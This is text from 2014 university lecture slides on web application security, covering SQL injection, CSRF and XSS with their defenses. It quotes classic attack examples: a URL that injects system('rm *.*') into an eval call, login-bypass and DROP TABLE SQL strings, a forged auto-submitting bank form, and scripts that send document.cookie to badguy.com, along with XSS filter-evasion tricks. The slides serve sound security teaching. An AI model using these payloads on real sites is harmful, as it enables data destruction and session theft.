Advanced Computer and Network Security

Fall 2014
Instructor: Haining Wang

Three top web site vulnerabilities

- **SQL Injection**
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query

- **CSRF – Cross-site request forgery**
  - Bad web site sends browser request to good web site, using credentials of an innocent victim

- **XSS – Cross-site scripting**
  - Bad web site sends innocent victim a script that steals information from an honest web site
Server Side of Web Application

- Runs on a Web server (application server)
- Takes input from remote users via Web server
- Interacts with back-end databases and other servers providing third-party content
- Prepares and outputs results for users
  - Dynamically generated HTML pages
  - Content from many different sources, often including users themselves
    - Blogs, social networks, photo-sharing websites...

Dynamic Web Application

```
GET / HTTP/1.0
HTTP/1.1 200 OK
index.php
```
Command Injection

Background for SQL Injection

PHP: Hypertext Preprocessor

- Server scripting language with C-like syntax
- Can intermingle static HTML and code
  <input value=<?php echo $myvalue; ?>>>
- Can embed variables in double-quote strings
  $user = “world”; echo “Hello $user!”;
  or $user = “world”; echo “Hello” . $user . “!”;
- Form data in global arrays $_GET, $_POST, ...
Command Injection in PHP

- Server-side PHP calculator:
  
  ```php
  $in = $_GET['val'];
  eval('$op1 = ' . $in . ';');
  ```

- Good user calls
  

- Bad user calls
  
  http://victim.com/calc.php?val=5 ; system('rm *.*')

- calc.php executes
  
  ```php
eval('$op1 = 5; system('rm *.*');');
  ```

Injection

- Injection is a general problem:
  
  - Typically appeared when data and code share the same channel.
  
  - For example, the code “system()” and the data “5”
    - But ‘;’ allows attacker to start a new command.
SQL Injection

SQL

- Widely used database query language
- Fetch a set of records
  SELECT * FROM Person WHERE Username='David'
- Add data to the table
  INSERT INTO Key (Username, Key) VALUES ('David', '5612BAFF')
- Modify data
  UPDATE Keys SET Key='FA33452D' WHERE PersonID=5
- Query syntax (mostly) independent of vendor
**Database queries with PHP**

- **Sample PHP**
  
  ```php
  $recipient = $_POST['recipient'];
  $sql = "SELECT PersonID FROM Person WHERE Username='$recipient';
  $rs = $db->executeQuery($sql);
  ```

- **Problem**
  
  What if `recipient` is a malicious string that changes the meaning of the query?

**Basic picture: SQL Injection**

- **This is an input validation vulnerability**
  
  Unsanitized user input in SQL query to back-end database changes the meaning of query

- **Special case of command injection**

![Diagram of SQL Injection](Diag.png)
Authentication with Back-End DB

- set UserFound=execute(
  "SELECT * FROM UserTable WHERE
  username=' " & form("user") & "' AND
  password=' " & form("pwd") & "' ";

User supplies username and password, this SQL query checks if user/password combination is in the database

- If not UserFound.EOF
  Authentication correct
  else Fail

Using SQL Injection to Log In

- User gives username ‘ OR 1=1 --
- Web server executes query
  set UserFound=execute( 
    SELECT * FROM UserTable WHERE 
    username=' " OR 1=1 -- ... AND ... );

Now all records match the query, so the result is not empty ⇒ correct “authentication”!
- The SQL Language supports comments via ‘--’ characters
Even worse

- Suppose user =
  "' ; DROP TABLE Users --"

- Then script does:
  - `ok = execute( SELECT ...
                     WHERE user= '' ; DROP TABLE Users ... )`

  Two separate queries: Select and Drop are executed.

- Deletes user table
  - Similarly: attacker can add users, reset pwds, etc.

CardSystems Attack (June 2005)

- CardSystems was a major credit card processing company
- Put out of business by a SQL injection attack
  - Credit card numbers stored unencrypted
  - Data on 263,000 accounts stolen
  - 43 million identities exposed
Danger of SQL Injection

- One of the most exploited vulnerabilities on the Web
- Like Command injection, triggered when attacker controlled data interpreted as a (SQL) command.
- Cause of massive data theft
  - 24% of all data stolen in 2010

Injection Defenses

- Input validation
  - Whitelists untrusted inputs to a safe list.
- Input escaping
  - Escape untrusted input so it will not be treated as a command
- Use less powerful API
  - Use an API that only does what you want
  - Prefer this over the other options.
Preventing SQL Injection

- Validate all inputs
  - Filter out any character that has special meaning
    - Apostrophes, semicolons, percent symbols, hyphens, underscores, ...
  - Check the data type (e.g., input must be an integer)
- Whitelist permitted characters
  - Blacklisting “bad” characters doesn’t work well
    - Forget to filter out some characters
    - Could prevent valid input (e.g., last name O’Brien)
  - Allow only well-defined set of safe values
    - Set implicitly defined through regular expressions

Escaping Quotes

- Special characters such as ’ provide distinction between data and code in queries
- For valid string inputs containing quotes, use escape characters to prevent the quotes from becoming part of the query code
- Different databases have different rules for escaping
  - Example: escape(o’connor) = o\’connor or escape(o’connor) = o``connor
Use less powerful API: Prepared Statements

- Create a template for SQL Query, in which data values are substituted
- The database ensures untrusted value isn’t interpreted as command.
- Less powerful:
  - Only allows queries set in templates

Prepared Statements (II)

- In most injection attacks, data are interpreted as code – this changes the semantics of a query or command generated by the application
- Bind variables: placeholders guaranteed to be data (not code)
- Prepared statements allow creation of static queries with bind variables; this preserves the structure of the intended query
PreparedStatement: Example

```java
PreparedStatement ps =
   db.prepareStatement("SELECT pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParameter("month")));
ResultSet res = ps.executeQuery();
```
Recall: session using cookies

Browser → Server

POST/login.cgi

Set-cookie: authenticator

GET...

Cookie: authenticator

response

Basic picture

1. establish session
2. visit server
3. receive malicious page
4. send forged request (w/ cookie)

Q: how long do you stay logged in to Gmail? Facebook?....
Cross Site Request Forgery (CSRF)

Example:

- User logs in to bank.com
  - Session cookie remains in browser state
- User visits another site containing
  
  ```html
  <form name=F action=http://bank.com/BillPay.php>
  <input name=recipient value=badguy> ...
  <script> document.F.submit(); </script>
  ```

- Browser sends user auth cookie with request
  - Transaction will be fulfilled
- Hidden iframe can do this in the background
- User visits a malicious page, browser submits form on behalf of the user

Form post with cookie

![Diagram showing the flow of a CSRF attack](Image)
CSRF Defenses

- Secret Validation Token

  ```html
  <input type=hidden value=23a3af01b>
  ```

- Referer Validation

  Referer: http://www.facebook.com/home.php

- Custom HTTP Header

  ```text
  X-Requested-By: XMLHttpRequest
  ```

Secret Token Validation

- Requests include a hard-to-guess secret
  - Unguessability substitutes for unforgeability

- Variations
  - Session identifier
  - Session-independent token
  - Session-dependent token
  - HMAC of session identifier
Secret Token Validation

Referer Validation
Referer Validation Defense

- HTTP Referer header
  - Referer: http://www.facebook.com/ ✓
  - Referer: http://www.attacker.com/evil.html ✗
  - Referer: ?
- Lenient Referer validation
  - Doesn't work if Referer is missing
- Strict Referer validation
  - Secure, but Referer is sometimes absent...

Referer Privacy Problems

- Referer may leak privacy-sensitive information
  

- Common sources of blocking:
  - Network stripping by the organization
  - Network stripping by local machine
  - Stripped by browser for HTTPS -> HTTP transitions
  - User preference in browser
  - Buggy user agents
- Site cannot afford to block these users
Custom Header

- XMLHttpRequest is for same-origin requests
  - Browser prevents sites from sending custom HTTP headers to other sites, but can send to themselves
  - Can use setRequestHeader within origin
- Limitations on data export format
  - No setRequestHeader equivalent
  - XHR 2 has a whitelist for cross-site requests
- POST requests via AJAX
  
  ```text
  X-Requested-By: XMLHttpRequest
  ```
- No secrets required

Broader View of XSRF

- Abuse of cross-site data export
  - SOP does not control data export
  - Malicious webpage can initiate requests from the user’s browser to an honest server
  - Server thinks requests are part of the established session between the browser and the server
- Many reasons for XSRF attacks, not just “session riding”
Cross Site Scripting (XSS)

Three top web site vulnerabilities

- **SQL Injection**
  Attacker’s malicious code executed on victim server

- **CSRF – Cross-site request forgery**
  Attacker site forges request from victim browser to victim server

- **XSS – Cross-site scripting**
  Attacker’s malicious code executed on victim browser
What is XSS?

- An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application.

- Methods for injecting malicious code:
  - Reflected XSS (“type 1”)
    - the attack script is reflected back to the user as part of a page from the victim site
  - Stored XSS (“type 2”)
    - the attacker stores the malicious code in a resource managed by the web application, such as a database
  - DOM-based attacks (“type 3”)

Basic scenario: reflected XSS attack

1. visit web site
2. receive malicious link
3. click on link
4. echo user input
5. send valuable data
Reflected XSS

- User is tricked into visiting an honest website
  - Phishing email, link in a banner ad, comment in a blog
- Bug in website code causes it to `echo` to the user’s browser an arbitrary attack script
  - The origin of this script is now the website itself!
- Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  - This violates the “spirit” of the same origin policy

XSS example: vulnerable site

- search field on victim.com:
- Server-side implementation of `search.php`:
  ```html
  <HTML>
  <TITLE> Search Results </TITLE>
  <BODY>
  Results for `$_GET[term]` :
  . . .
  </BODY>
  </HTML>
  ```
  echo search term into response
Malicious input

Consider link: (properly URL encoded)

```
  <script> window.open(
      "http://badguy.com?cookie = " +
      document.cookie ) </script>
```

What if user clicks on this link?
1. Browser goes to victim.com/search.php
2. Victim.com returns
   `<html> Results for <script> ... </script>`
3. Browser executes script:
   - Sends badguy.com the cookie for victim.com

![Diagram showing the flow of data between the attacker, victim, and user.](image)
 Stored XSS

1. Inject malicious script
2. request content
3. receive malicious script
4. steal valuable data

User Victim

Server Victim

AttackServer

Download it

DOM-based XSS (no server used)

- Script builds webpage DOM in the browser (Example)
  ```html
  <HTML><TITLE>Welcome!</TITLE>
  Hi <SCRIPT>
  var pos = document.URL.indexOf("name=") + 5;
  document.write(document.URL.substring(pos,document.URL.length));
  </SCRIPT>
  </HTML>
  ```

- Works fine with this URL
  http://www.example.com/welcome.html?name=Joe

- But what about this one?
  http://www.example.com/welcome.html?name=
  <script>alert(document.cookie)</script>
Defenses at server

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data

Input data validation and filtering

- Never trust client-side data
  - Best: allow only what you expect
- Remove/encode special characters
  - Many encodings, special chars!
  - E.g., long (non-standard) UTF-8 encodings
Output filtering / encoding

- Remove / encode (X)HTML special chars
  - &lt; for <, &gt; for >, &quot; for " ...
- Allow only safe commands (e.g., no <script>...)
- Caution: `filter evasion` tricks
  - E.g., if filter allows quoting (of <script> etc.), use malformed quoting: <IMG """> <SCRIPT>alert("XSS")...
  - Or: (long) UTF-8 encode, or...
- Caution: Scripts not only in <script>!
  - Examples in the next slide

Caution: Scripts not only in <script>!

- JavaScript as scheme in URI
  - <img src="javascript:alert(document.cookie);"/>
- JavaScript On{event} attributes (handlers)
  - OnSubmit, OnError, OnLoad, ...
- Typical use:
  - <img src="none" OnError="alert(document.cookie)"/>
  - <iframe src="https://bank.com/login` onload="steal()" >
  - <form> action="logon.jsp" method="post"
    onsubmit="hackImg=new Image;
Advanced anti-XSS tools

- Dynamic Data Tainting
  - Perl taint mode
- Static Analysis
  - Analyze Java, PHP to determine possible flow of untrusted input

Client-side XSS defenses

- Proxy-based: analyze the HTTP traffic exchanged between user’s web browser and the target web server by scanning for special HTML characters and encoding them before executing the page on the user’s web browser.
- Application-level firewall: analyze browsed HTML pages for hyperlinks that might lead to leakage of sensitive information and stop bad requests using a set of connection rules.
- Auditing system: monitor execution of JavaScript code and compare the operations against high-level policies to detect malicious behavior.